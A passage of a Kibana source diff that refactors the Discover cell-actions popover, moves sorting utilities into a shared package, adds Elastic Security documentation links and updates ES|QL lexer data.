); diff --git a/src/platform/packages/shared/kbn-alerts-ui-shared/tsconfig.json b/src/platform/packages/shared/kbn-alerts-ui-shared/tsconfig.json index 0ad8b5213c5a7..0dd3f8b142e18 100644 --- a/src/platform/packages/shared/kbn-alerts-ui-shared/tsconfig.json +++ b/src/platform/packages/shared/kbn-alerts-ui-shared/tsconfig.json @@ -34,6 +34,6 @@ "@kbn/core-notifications-browser-mocks", "@kbn/shared-ux-table-persist", "@kbn/presentation-publishing", - "@kbn/response-ops-rules-apis", + "@kbn/response-ops-rules-apis" ] } diff --git a/src/platform/packages/shared/kbn-cell-actions/.eslintrc.js b/src/platform/packages/shared/kbn-cell-actions/.eslintrc.js index afb13402e4639..46323a73957e8 100644 --- a/src/platform/packages/shared/kbn-cell-actions/.eslintrc.js +++ b/src/platform/packages/shared/kbn-cell-actions/.eslintrc.js @@ -70,19 +70,25 @@ // eslint-disable-next-line import/no-nodejs-modules const path = require('path'); +// eslint-disable-next-line import/no-nodejs-modules +const { execSync } = require('child_process'); + const minimatch = require('minimatch'); /** @type {Array.} */ -const RESTRICTED_IMPORTS = [ +const RESTRICTED_IMPORTS_PATHS = [ { name: 'enzyme', message: 'Please use @testing-library/react instead', }, ]; -// root directory of the project dynamically calculated -const ROOT_DIR = process.cwd(); -const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // e.g. ../../../../.. +const ROOT_DIR = execSync('git rev-parse --show-toplevel', { + encoding: 'utf8', + cwd: __dirname, +}).trim(); + +const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // i.e. '../../..' /** @type {import('eslint').Linter.Config} */ const rootConfig = require(`${ROOT_CLIMB_STRING}/.eslintrc`); // eslint-disable-line import/no-dynamic-require @@ -116,7 +122,7 @@ for (const override of overridesWithNoRestrictedImportRule) { // Dynamic duplicates removal for all restricted imports const existingPaths = modernConfig.paths.filter( (existing) => - !RESTRICTED_IMPORTS.some((restriction) => + !RESTRICTED_IMPORTS_PATHS.some((restriction) => typeof existing === 'string' ? existing === restriction.name : existing.name === restriction.name @@ -127,7 +133,7 @@ for (const override of overridesWithNoRestrictedImportRule) { const newRuleConfig = [ severity, { - paths: [...existingPaths, ...RESTRICTED_IMPORTS], + paths: [...existingPaths, ...RESTRICTED_IMPORTS_PATHS], patterns: modernConfig.patterns, }, ]; diff --git a/src/platform/packages/shared/kbn-css-utils/public/full_screen_bg_css.ts b/src/platform/packages/shared/kbn-css-utils/public/full_screen_bg_css.ts index 216a36ce09064..160c9b934ae0c 100644 --- a/src/platform/packages/shared/kbn-css-utils/public/full_screen_bg_css.ts +++ b/src/platform/packages/shared/kbn-css-utils/public/full_screen_bg_css.ts @@ -38,9 +38,9 @@ export const kbnFullScreenBgCss = ({ euiTheme, colorMode }: UseEuiTheme) => { zIndex: Number(euiTheme.levels.navigation) + 1000, background: 'inherit', backgroundColor: euiTheme.colors.backgroundBasePlain, - opacity: 0, overflow: 'auto', [euiCanAnimate]: { + opacity: 0, animation: `${fullScreenGraphicsFadeIn} ${euiTheme.animation.extraSlow} ${euiTheme.animation.resistance} 0s forwards`, }, '.kbnBody--hasHeaderBanner &': { diff --git a/src/platform/packages/shared/kbn-discover-contextual-components/src/data_types/logs/components/cell_actions_popover.tsx b/src/platform/packages/shared/kbn-discover-contextual-components/src/data_types/logs/components/cell_actions_popover.tsx index 425f8ca41050e..c226a4bbeb088 100644 --- a/src/platform/packages/shared/kbn-discover-contextual-components/src/data_types/logs/components/cell_actions_popover.tsx +++ b/src/platform/packages/shared/kbn-discover-contextual-components/src/data_types/logs/components/cell_actions_popover.tsx @@ -26,6 +26,7 @@ import { useBoolean } from '@kbn/react-hooks'; import type { DocViewFilterFn } from '@kbn/unified-doc-viewer/types'; import type { SharePluginStart } from '@kbn/share-plugin/public'; import type { CoreStart } from '@kbn/core-lifecycle-browser'; +import type { DataViewField } from '@kbn/data-views-plugin/common'; import { actionFilterForText, actionFilterOutText, @@ -41,7 +42,8 @@ import { truncateAndPreserveHighlightTags } from './utils'; interface CellActionsPopoverProps { onFilter?: DocViewFilterFn; /** ECS mapping for the key */ - property: string; + property?: DataViewField; + name: string; /** Formatted value from the mapping, which will be displayed */ value: string; /** The raw value from the mapping, can be an object */ @@ -61,6 +63,7 @@ interface CellActionsPopoverProps { export function CellActionsPopover({ onFilter, property, + name, value, rawValue, renderValue, @@ -71,14 +74,14 @@ export function CellActionsPopover({ const makeFilterHandlerByOperator = (operator: '+' | '-') => () => { if (onFilter) { - onFilter(property, rawValue, operator); + onFilter(property ?? name, rawValue, operator); } }; const popoverTriggerProps = { onClick: togglePopover, onClickAriaLabel: openCellActionPopoverAriaText, - 'data-test-subj': `dataTableCellActionsPopover_${property}`, + 'data-test-subj': `dataTableCellActionsPopover_${name}`, }; return ( @@ -102,7 +105,7 @@ export function CellActionsPopover({ font-family: ${euiTheme.font.familyCode}; `} > - {property}{' '} + {name}{' '} {typeof renderValue === 'function' ? renderValue(value) : rawValue != null && typeof rawValue !== 'object' @@ -130,7 +133,7 @@ export function CellActionsPopover({ iconType="plusInCircle" aria-label={actionFilterForText(value)} onClick={makeFilterHandlerByOperator('+')} - data-test-subj={`dataTableCellAction_addToFilterAction_${property}`} + data-test-subj={`dataTableCellAction_addToFilterAction_${name}`} > {filterForText} @@ -140,7 +143,7 @@ export function CellActionsPopover({ iconType="minusInCircle" aria-label={actionFilterOutText(value)} onClick={makeFilterHandlerByOperator('-')} - data-test-subj={`dataTableCellAction_removeFromFilterAction_${property}`} + data-test-subj={`dataTableCellAction_removeFromFilterAction_${name}`} > {filterOutText} @@ -154,9 +157,9 @@ export function CellActionsPopover({ key="copyToClipboardAction" size="s" iconType="copyClipboard" - aria-label={copyValueAriaText(property)} + aria-label={copyValueAriaText(name)} onClick={copy} - data-test-subj={`dataTableCellAction_copyToClipboardAction_${property}`} + data-test-subj={`dataTableCellAction_copyToClipboardAction_${name}`} > {copyValueText} @@ -170,7 +173,7 @@ export function CellActionsPopover({ export interface FieldBadgeWithActionsProps extends Pick< CellActionsPopoverProps, - 'onFilter' | 'property' | 'value' | 'rawValue' | 'renderValue' + 'onFilter' | 'name' | 'property' | 'value' | 'rawValue' | 'renderValue' > { icon?: EuiBadgeProps['iconType']; color?: string; @@ -187,6 +190,7 @@ export type FieldBadgeWithActionsPropsAndDependencies = FieldBadgeWithActionsPro export function FieldBadgeWithActions({ icon, onFilter, + name, property, renderValue, value, @@ -198,6 +202,7 @@ export function FieldBadgeWithActions({ return ( - {displayedFields.map(({ name, rawValue, value, ResourceBadge, Icon }) => ( + {displayedFields.map(({ name, rawValue, value, ResourceBadge, Icon, property }) => ( JSX.Element; name: string; value: string; + property?: DataViewField; rawValue: unknown; } @@ -153,12 +154,13 @@ export const createResourceFields = ({ const availableResourceFields = getAvailableFields(resourceDoc); return availableResourceFields.map((name) => { + const property = dataView.getFieldByName(name); const value = formatFieldValue( resourceDoc[name], row.raw, fieldFormats, dataView, - dataView.getFieldByName(name), + property, 'html' ); @@ -166,6 +168,7 @@ export const createResourceFields = ({ name, rawValue: resourceDoc[name], value, + property, ResourceBadge: getResourceBadgeComponent(name, core, share), Icon: getResourceBadgeIcon(name, resourceDoc), }; diff --git a/src/platform/packages/shared/kbn-discover-utils/index.ts b/src/platform/packages/shared/kbn-discover-utils/index.ts index e57c81f635c4f..a7cfc1baca81d 100644 --- a/src/platform/packages/shared/kbn-discover-utils/index.ts +++ b/src/platform/packages/shared/kbn-discover-utils/index.ts @@ -60,9 +60,22 @@ export { dismissAllFlyoutsExceptFor, dismissFlyouts, LogLevelBadge, + getDefaultSort, + getSort, + getSortArray, + getSortForSearchSource, + getEsQuerySort, + getTieBreakerFieldName, } from './src'; -export type { LogsContextService, TracesContextService, ApmErrorsContextService } from './src'; +export type { + LogsContextService, + TracesContextService, + ApmErrorsContextService, + SortOrder, + SortInput, + SortPair, +} from './src'; export * from './src/types'; diff --git a/src/platform/packages/shared/kbn-discover-utils/src/utils/index.ts b/src/platform/packages/shared/kbn-discover-utils/src/utils/index.ts index d5cae75f302d3..4b8c30543f4d9 100644 --- a/src/platform/packages/shared/kbn-discover-utils/src/utils/index.ts +++ b/src/platform/packages/shared/kbn-discover-utils/src/utils/index.ts @@ -24,4 +24,5 @@ export * from './nested_fields'; export * from './get_field_value'; export * from './get_visible_columns'; export * from './convert_value_to_string'; +export * from './sorting'; export { DiscoverFlyouts, dismissAllFlyoutsExceptFor, dismissFlyouts } from './dismiss_flyouts'; diff --git a/src/platform/plugins/shared/discover/common/utils/sorting/get_default_sort.test.ts b/src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_default_sort.test.ts similarity index 100% rename from src/platform/plugins/shared/discover/common/utils/sorting/get_default_sort.test.ts rename to src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_default_sort.test.ts diff --git a/src/platform/plugins/shared/discover/common/utils/sorting/get_default_sort.ts b/src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_default_sort.ts similarity index 91% rename from src/platform/plugins/shared/discover/common/utils/sorting/get_default_sort.ts rename to src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_default_sort.ts index c2d430ec57d5e..1131ca29fb737 100644 --- a/src/platform/plugins/shared/discover/common/utils/sorting/get_default_sort.ts +++ b/src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_default_sort.ts @@ -8,8 +8,7 @@ */ import type { DataView } from '@kbn/data-views-plugin/public'; -import type { SortOrder } from '@kbn/saved-search-plugin/public'; -import { isSortable } from './get_sort'; +import { type SortOrder, isSortable } from './get_sort'; /** * use in case the user didn't manually sort. diff --git a/src/platform/plugins/shared/discover/common/utils/sorting/get_es_query_sort.test.ts b/src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_es_query_sort.test.ts similarity index 98% rename from src/platform/plugins/shared/discover/common/utils/sorting/get_es_query_sort.test.ts rename to src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_es_query_sort.test.ts index b13f3ddadfa20..85311e6e493f2 100644 --- a/src/platform/plugins/shared/discover/common/utils/sorting/get_es_query_sort.test.ts +++ b/src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_es_query_sort.test.ts @@ -15,7 +15,7 @@ import { getESQuerySortForTimeField, getTieBreakerFieldName, } from './get_es_query_sort'; -import { CONTEXT_TIE_BREAKER_FIELDS_SETTING } from '@kbn/discover-utils'; +import { CONTEXT_TIE_BREAKER_FIELDS_SETTING } from '../../constants'; import type { IUiSettingsClient } from '@kbn/core-ui-settings-browser'; const dataView = createStubDataView({ diff --git a/src/platform/plugins/shared/discover/common/utils/sorting/get_es_query_sort.ts b/src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_es_query_sort.ts similarity index 97% rename from src/platform/plugins/shared/discover/common/utils/sorting/get_es_query_sort.ts rename to src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_es_query_sort.ts index c2576115f31fe..861d6fc65e1e6 100644 --- a/src/platform/plugins/shared/discover/common/utils/sorting/get_es_query_sort.ts +++ b/src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_es_query_sort.ts @@ -10,7 +10,7 @@ import type { EsQuerySortValue, SortDirection } from '@kbn/data-plugin/public'; import type { DataView } from '@kbn/data-views-plugin/common'; import type { IUiSettingsClient } from '@kbn/core-ui-settings-browser'; -import { CONTEXT_TIE_BREAKER_FIELDS_SETTING } from '@kbn/discover-utils'; +import { CONTEXT_TIE_BREAKER_FIELDS_SETTING } from '../../constants'; /** * Returns `EsQuerySort` which is used to sort records in the ES query diff --git a/src/platform/plugins/shared/discover/common/utils/sorting/get_sort.test.ts b/src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_sort.test.ts similarity index 100% rename from src/platform/plugins/shared/discover/common/utils/sorting/get_sort.test.ts rename to src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_sort.test.ts diff --git a/src/platform/plugins/shared/discover/common/utils/sorting/get_sort.ts b/src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_sort.ts similarity index 97% rename from src/platform/plugins/shared/discover/common/utils/sorting/get_sort.ts rename to src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_sort.ts index fb9c8f948a6a9..7ad08183b0207 100644 --- a/src/platform/plugins/shared/discover/common/utils/sorting/get_sort.ts +++ b/src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_sort.ts @@ -8,9 +8,9 @@ */ import type { DataView } from '@kbn/data-views-plugin/common'; -import type { SortOrder } from '@kbn/saved-search-plugin/public'; import { isPlainObject } from 'lodash'; +export type SortOrder = [string, string]; export type SortPairObj = Record; export type SortPair = SortOrder | SortPairObj; export type SortInput = SortPair | SortPair[]; diff --git a/src/platform/plugins/shared/discover/common/utils/sorting/get_sort_for_search_source.test.ts b/src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_sort_for_search_source.test.ts similarity index 98% rename from src/platform/plugins/shared/discover/common/utils/sorting/get_sort_for_search_source.test.ts rename to src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_sort_for_search_source.test.ts index 449ebab7a2a08..3270bfc2900c2 100644 --- a/src/platform/plugins/shared/discover/common/utils/sorting/get_sort_for_search_source.test.ts +++ b/src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_sort_for_search_source.test.ts @@ -7,7 +7,7 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -import type { SortOrder } from '@kbn/saved-search-plugin/public'; +import type { SortOrder } from './get_sort'; import { getSortForSearchSource } from './get_sort_for_search_source'; import { stubDataView, diff --git a/src/platform/plugins/shared/discover/common/utils/sorting/get_sort_for_search_source.ts b/src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_sort_for_search_source.ts similarity index 90% rename from src/platform/plugins/shared/discover/common/utils/sorting/get_sort_for_search_source.ts rename to src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_sort_for_search_source.ts index e47f8b3e13462..779c444f40668 100644 --- a/src/platform/plugins/shared/discover/common/utils/sorting/get_sort_for_search_source.ts +++ b/src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/get_sort_for_search_source.ts @@ -7,16 +7,17 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -import { type DataView, DataViewType } from '@kbn/data-views-plugin/common'; +import type { DataView, DataViewType } from '@kbn/data-views-plugin/common'; import type { EsQuerySortValue, SortDirection } from '@kbn/data-plugin/common'; -import type { SortOrder } from '@kbn/saved-search-plugin/public'; -import { getSort } from './get_sort'; +import { type SortOrder, getSort } from './get_sort'; import { getESQuerySortForTimeField, getESQuerySortForTieBreaker, DEFAULT_TIE_BREAKER_NAME, } from './get_es_query_sort'; +const DATA_VIEW_TYPE_ROLLUP: `${DataViewType.ROLLUP}` = 'rollup'; + /** * Prepares sort for search source, that's sending the request to ES * - Adds default sort if necessary @@ -50,7 +51,7 @@ export function getSortForSearchSource({ const sortPairs = getSort(sort, dataView, false); // ES|QL request is not using search source const sortForSearchSource = sortPairs.map((sortPair: Record) => { - if (dataView.type !== DataViewType.ROLLUP && timeFieldName && sortPair[timeFieldName]) { + if (dataView.type !== DATA_VIEW_TYPE_ROLLUP && timeFieldName && sortPair[timeFieldName]) { return getESQuerySortForTimeField({ sortDir: sortPair[timeFieldName] as SortDirection, timeFieldName, diff --git a/src/platform/plugins/shared/discover/common/utils/sorting/index.ts b/src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/index.ts similarity index 81% rename from src/platform/plugins/shared/discover/common/utils/sorting/index.ts rename to src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/index.ts index 97de92fcefdb1..a58466252f527 100644 --- a/src/platform/plugins/shared/discover/common/utils/sorting/index.ts +++ b/src/platform/packages/shared/kbn-discover-utils/src/utils/sorting/index.ts @@ -9,5 +9,6 @@ export { getDefaultSort } from './get_default_sort'; export { getSort, getSortArray } from './get_sort'; -export type { SortInput, SortPair } from './get_sort'; +export type { SortOrder, SortInput, SortPair } from './get_sort'; export { getSortForSearchSource } from './get_sort_for_search_source'; +export { getEsQuerySort, getTieBreakerFieldName } from './get_es_query_sort'; diff --git a/src/platform/packages/shared/kbn-discover-utils/tsconfig.json b/src/platform/packages/shared/kbn-discover-utils/tsconfig.json index e890bcd6bf362..2382452f741be 100644 --- a/src/platform/packages/shared/kbn-discover-utils/tsconfig.json +++ b/src/platform/packages/shared/kbn-discover-utils/tsconfig.json @@ -26,5 +26,6 @@ "@kbn/navigation-plugin", "@kbn/apm-sources-access-plugin", "@kbn/data-plugin", + "@kbn/core-ui-settings-browser" ] } diff --git a/src/platform/packages/shared/kbn-doc-links/src/get_doc_links.ts b/src/platform/packages/shared/kbn-doc-links/src/get_doc_links.ts index 0e0262cbd4edf..b6cccc6ff37e5 100644 --- a/src/platform/packages/shared/kbn-doc-links/src/get_doc_links.ts +++ b/src/platform/packages/shared/kbn-doc-links/src/get_doc_links.ts @@ -419,6 +419,7 @@ export const getDocLinks = ({ kibanaBranch, buildFlavor }: GetDocLinkOptions): D guide: `${ELASTIC_DOCS}solutions/security`, gettingStarted: `${ELASTIC_DOCS}solutions/security`, privileges: `${ELASTIC_DOCS}solutions/security/get-started/elastic-security-requirements`, + ingestDataToSecurity: `${ELASTIC_DOCS}solutions/security/get-started/ingest-data-to-elastic-security`, ml: `${ELASTIC_DOCS}solutions/security/advanced-entity-analytics/anomaly-detection`, ruleChangeLog: `https://www.elastic.co/guide/en/security/current/prebuilt-rules-downloadable-updates.html`, detectionsReq: `${ELASTIC_DOCS}solutions/security/detect-and-alert/detections-requirements`, @@ -439,6 +440,8 @@ export const getDocLinks = ({ kibanaBranch, buildFlavor }: GetDocLinkOptions): D }, securitySolution: { artifactControl: `${ELASTIC_DOCS}solutions/security/configure-elastic-defend/configure-updates-for-protection-artifacts`, + cloudSecurityPosture: `${ELASTIC_DOCS}solutions/security/cloud/cloud-security-posture-management`, + installElasticDefend: `${ELASTIC_DOCS}solutions/security/configure-elastic-defend/install-elastic-defend`, avcResults: `https://www.elastic.co/blog/elastic-security-av-comparatives-business-test`, bidirectionalIntegrations: `${ELASTIC_DOCS}solutions/security/endpoint-response-actions/third-party-response-actions`, trustedApps: `${ELASTIC_DOCS}solutions/security/manage-elastic-defend/trusted-applications`, @@ -475,6 +478,7 @@ export const getDocLinks = ({ kibanaBranch, buildFlavor }: GetDocLinkOptions): D riskScorePrerequisites: `${ELASTIC_DOCS}solutions/security/advanced-entity-analytics/entity-risk-scoring-requirements`, entityRiskScoring: `${ELASTIC_DOCS}solutions/security/advanced-entity-analytics/entity-risk-scoring`, assetCriticality: `${ELASTIC_DOCS}solutions/security/advanced-entity-analytics/asset-criticality`, + privilegedUserMonitoring: `${ELASTIC_DOCS}solutions/security/advanced-entity-analytics/privileged-user-monitoring`, }, detectionEngineOverview: `${ELASTIC_DOCS}solutions/security/detect-and-alert`, aiAssistant: `${ELASTIC_DOCS}solutions/security/ai/ai-assistant`, diff --git a/src/platform/packages/shared/kbn-doc-links/src/types.ts b/src/platform/packages/shared/kbn-doc-links/src/types.ts index 1266a27a22a46..12e8c0d96b00d 100644 --- a/src/platform/packages/shared/kbn-doc-links/src/types.ts +++ b/src/platform/packages/shared/kbn-doc-links/src/types.ts @@ -289,6 +289,7 @@ export interface DocLinks { readonly gapsTable: string; readonly ruleApiOverview: string; readonly configureAlertSuppression: string; + readonly ingestDataToSecurity: string; }; readonly server: { readonly protocol: string; @@ -299,6 +300,8 @@ export interface DocLinks { }; readonly securitySolution: { readonly aiAssistant: string; + readonly cloudSecurityPosture: string; + readonly installElasticDefend: string; readonly artifactControl: string; readonly avcResults: string; readonly bidirectionalIntegrations: string; @@ -334,6 +337,7 @@ export interface DocLinks { readonly riskScorePrerequisites: string; readonly entityRiskScoring: string; readonly assetCriticality: string; + readonly privilegedUserMonitoring: string; }; readonly detectionEngineOverview: string; readonly signalsMigrationApi: string; diff --git a/src/platform/packages/shared/kbn-esql-ast/index.ts b/src/platform/packages/shared/kbn-esql-ast/index.ts index d4aa17a867018..d16d786a14a1f 100644 --- a/src/platform/packages/shared/kbn-esql-ast/index.ts +++ b/src/platform/packages/shared/kbn-esql-ast/index.ts @@ -32,20 +32,7 @@ export type { ESQLAstChangePointCommand, } from './src/types'; -export { - isColumn, - isDoubleLiteral, - isFunctionExpression, - isBinaryExpression, - isWhereExpression, - isFieldExpression, - isSource, - isIdentifier, - isIntegerLiteral, - isLiteral, - isParamLiteral, - isProperNode, -} from './src/ast/helpers'; +export * from './src/ast/is'; export { Builder, type AstNodeParserFields, type AstNodeTemplate } from './src/builder'; diff --git a/src/platform/packages/shared/kbn-esql-ast/src/__tests__/walk_json.ts b/src/platform/packages/shared/kbn-esql-ast/src/__tests__/walk_json.ts new file mode 100644 index 0000000000000..10257ef60d62d --- /dev/null +++ b/src/platform/packages/shared/kbn-esql-ast/src/__tests__/walk_json.ts @@ -0,0 +1,65 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +interface JsonWalkerOptions { + visitObject?: (node: Record) => void; + visitArray?: (node: unknown[]) => void; + visitString?: (node: string) => void; + visitNumber?: (node: number) => void; + visitBigint?: (node: bigint) => void; + visitBoolean?: (node: boolean) => void; + visitNull?: () => void; + visitUndefined?: () => void; +} + +const walkJson = (json: unknown, options: JsonWalkerOptions = {}) => { + switch (typeof json) { + case 'string': { + options.visitString?.(json); + break; + } + case 'number': { + options.visitNumber?.(json); + break; + } + case 'bigint': { + options.visitBigint?.(json as bigint); + break; + } + case 'boolean': { + options.visitBoolean?.(json); + break; + } + case 'undefined': { + options.visitUndefined?.(); + break; + } + case 'object': { + if (!json) { + options.visitNull?.(); + } else if (Array.isArray(json)) { + options.visitArray?.(json); + const length = json.length; + + for (let i = 0; i < length; i++) { + walkJson(json[i], options); + } + } else { + options.visitObject?.(json as Record); + const values = Object.values(json as Record); + const length = values.length; + + for (let i = 0; i < length; i++) { + const value = values[i]; + walkJson(value, options); + } + } + } + } +}; diff --git a/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_lexer.interp b/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_lexer.interp index b149ab9066389..bdbf88454ca0d 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_lexer.interp +++ b/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_lexer.interp @@ -5,7 +5,7 @@ null null 'change_point' 'enrich' -'explain' +null 'completion' 'dissect' 'eval' @@ -147,7 +147,7 @@ MULTILINE_COMMENT WS CHANGE_POINT ENRICH -EXPLAIN +DEV_EXPLAIN COMPLETION DISSECT EVAL @@ -288,7 +288,7 @@ MULTILINE_COMMENT WS CHANGE_POINT ENRICH -EXPLAIN +DEV_EXPLAIN COMPLETION DISSECT EVAL @@ -360,7 +360,7 @@ SETTING SETTING_LINE_COMMENT SETTTING_MULTILINE_COMMENT SETTING_WS -EXPLAIN_OPENING_BRACKET +EXPLAIN_LP EXPLAIN_PIPE EXPLAIN_WS EXPLAIN_LINE_COMMENT @@ -439,6 +439,7 @@ FROM_SELECTOR FROM_COMMA FROM_ASSIGN METADATA +FROM_RP UNQUOTED_SOURCE_PART UNQUOTED_SOURCE FROM_UNQUOTED_SOURCE @@ -553,4 +554,4 @@ RENAME_MODE SHOW_MODE atn: -[4, 0, 139, 1848, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 6, -1, 2, 0, 7, 0, 2, 1, 7, 1, 2, 2, 7, 2, 2, 3, 7, 3, 2, 4, 7, 4, 2, 5, 7, 5, 2, 6, 7, 6, 2, 7, 7, 7, 2, 8, 7, 8, 2, 9, 7, 9, 2, 10, 7, 10, 2, 11, 7, 11, 2, 12, 7, 12, 2, 13, 7, 13, 2, 14, 7, 14, 2, 15, 7, 15, 2, 16, 7, 16, 2, 17, 7, 17, 2, 18, 7, 18, 2, 19, 7, 19, 2, 20, 7, 20, 2, 21, 7, 21, 2, 22, 7, 22, 2, 23, 7, 23, 2, 24, 7, 24, 2, 25, 7, 25, 2, 26, 7, 26, 2, 27, 7, 27, 2, 28, 7, 28, 2, 29, 7, 29, 2, 30, 7, 30, 2, 31, 7, 31, 2, 32, 7, 32, 2, 33, 7, 33, 2, 34, 7, 34, 2, 35, 7, 35, 2, 36, 7, 36, 2, 37, 7, 37, 2, 38, 7, 38, 2, 39, 7, 39, 2, 40, 7, 40, 2, 41, 7, 41, 2, 42, 7, 42, 2, 43, 7, 43, 2, 44, 7, 44, 2, 45, 7, 45, 2, 46, 7, 46, 2, 47, 7, 47, 2, 48, 7, 48, 2, 49, 7, 49, 2, 50, 7, 50, 2, 51, 7, 51, 2, 52, 7, 52, 2, 53, 7, 53, 2, 54, 7, 54, 2, 55, 7, 55, 2, 56, 7, 56, 2, 57, 7, 57, 2, 58, 7, 58, 2, 59, 7, 59, 2, 60, 7, 60, 2, 61, 7, 61, 2, 62, 7, 62, 2, 63, 7, 63, 2, 64, 7, 64, 2, 65, 7, 65, 2, 66, 7, 66, 2, 67, 7, 67, 2, 68, 7, 68, 2, 69, 7, 69, 2, 70, 7, 70, 2, 71, 7, 71, 2, 72, 7, 72, 2, 73, 7, 73, 2, 74, 7, 74, 2, 75, 7, 75, 2, 76, 7, 76, 2, 77, 7, 77, 2, 78, 7, 78, 2, 79, 7, 79, 2, 80, 7, 80, 2, 81, 7, 81, 2, 82, 7, 82, 2, 83, 7, 83, 2, 84, 7, 84, 2, 85, 7, 85, 2, 86, 7, 86, 2, 87, 7, 87, 2, 88, 7, 88, 2, 89, 7, 89, 2, 90, 7, 90, 2, 91, 7, 91, 2, 92, 7, 92, 2, 93, 7, 93, 2, 94, 7, 94, 2, 95, 7, 95, 2, 96, 7, 96, 2, 97, 7, 97, 2, 98, 7, 98, 2, 99, 7, 99, 2, 100, 7, 100, 2, 101, 7, 101, 2, 102, 7, 102, 2, 103, 7, 103, 2, 104, 7, 104, 2, 105, 7, 105, 2, 106, 7, 106, 2, 107, 7, 107, 2, 108, 7, 108, 2, 109, 7, 109, 2, 110, 7, 110, 2, 111, 7, 111, 2, 112, 7, 112, 2, 113, 7, 113, 2, 114, 7, 114, 2, 115, 7, 115, 2, 116, 7, 116, 2, 117, 7, 117, 2, 118, 7, 118, 2, 119, 7, 119, 2, 120, 7, 120, 2, 121, 7, 121, 2, 122, 7, 122, 2, 123, 7, 123, 2, 124, 7, 124, 2, 125, 7, 125, 2, 126, 7, 126, 2, 127, 7, 127, 2, 128, 7, 128, 2, 129, 7, 129, 2, 130, 7, 130, 2, 131, 7, 131, 2, 132, 7, 132, 2, 133, 7, 133, 2, 134, 7, 134, 2, 135, 7, 135, 2, 136, 7, 136, 2, 137, 7, 137, 2, 138, 7, 138, 2, 139, 7, 139, 2, 140, 7, 140, 2, 141, 7, 141, 2, 142, 7, 142, 2, 143, 7, 143, 2, 144, 7, 144, 2, 145, 7, 145, 2, 146, 7, 146, 2, 147, 7, 147, 2, 148, 7, 148, 2, 149, 7, 149, 2, 150, 7, 150, 2, 151, 7, 151, 2, 152, 7, 152, 2, 153, 7, 153, 2, 154, 7, 154, 2, 155, 7, 155, 2, 156, 7, 156, 2, 157, 7, 157, 2, 158, 7, 158, 2, 159, 7, 159, 2, 160, 7, 160, 2, 161, 7, 161, 2, 162, 7, 162, 2, 163, 7, 163, 2, 164, 7, 164, 2, 165, 7, 165, 2, 166, 7, 166, 2, 167, 7, 167, 2, 168, 7, 168, 2, 169, 7, 169, 2, 170, 7, 170, 2, 171, 7, 171, 2, 172, 7, 172, 2, 173, 7, 173, 2, 174, 7, 174, 2, 175, 7, 175, 2, 176, 7, 176, 2, 177, 7, 177, 2, 178, 7, 178, 2, 179, 7, 179, 2, 180, 7, 180, 2, 181, 7, 181, 2, 182, 7, 182, 2, 183, 7, 183, 2, 184, 7, 184, 2, 185, 7, 185, 2, 186, 7, 186, 2, 187, 7, 187, 2, 188, 7, 188, 2, 189, 7, 189, 2, 190, 7, 190, 2, 191, 7, 191, 2, 192, 7, 192, 2, 193, 7, 193, 2, 194, 7, 194, 2, 195, 7, 195, 2, 196, 7, 196, 2, 197, 7, 197, 2, 198, 7, 198, 2, 199, 7, 199, 2, 200, 7, 200, 2, 201, 7, 201, 2, 202, 7, 202, 2, 203, 7, 203, 2, 204, 7, 204, 2, 205, 7, 205, 2, 206, 7, 206, 2, 207, 7, 207, 2, 208, 7, 208, 2, 209, 7, 209, 2, 210, 7, 210, 2, 211, 7, 211, 2, 212, 7, 212, 2, 213, 7, 213, 2, 214, 7, 214, 2, 215, 7, 215, 2, 216, 7, 216, 2, 217, 7, 217, 2, 218, 7, 218, 2, 219, 7, 219, 2, 220, 7, 220, 2, 221, 7, 221, 2, 222, 7, 222, 2, 223, 7, 223, 2, 224, 7, 224, 2, 225, 7, 225, 2, 226, 7, 226, 2, 227, 7, 227, 2, 228, 7, 228, 2, 229, 7, 229, 2, 230, 7, 230, 2, 231, 7, 231, 2, 232, 7, 232, 2, 233, 7, 233, 2, 234, 7, 234, 2, 235, 7, 235, 2, 236, 7, 236, 2, 237, 7, 237, 2, 238, 7, 238, 2, 239, 7, 239, 2, 240, 7, 240, 2, 241, 7, 241, 2, 242, 7, 242, 2, 243, 7, 243, 2, 244, 7, 244, 2, 245, 7, 245, 1, 0, 1, 0, 1, 0, 1, 0, 5, 0, 513, 8, 0, 10, 0, 12, 0, 516, 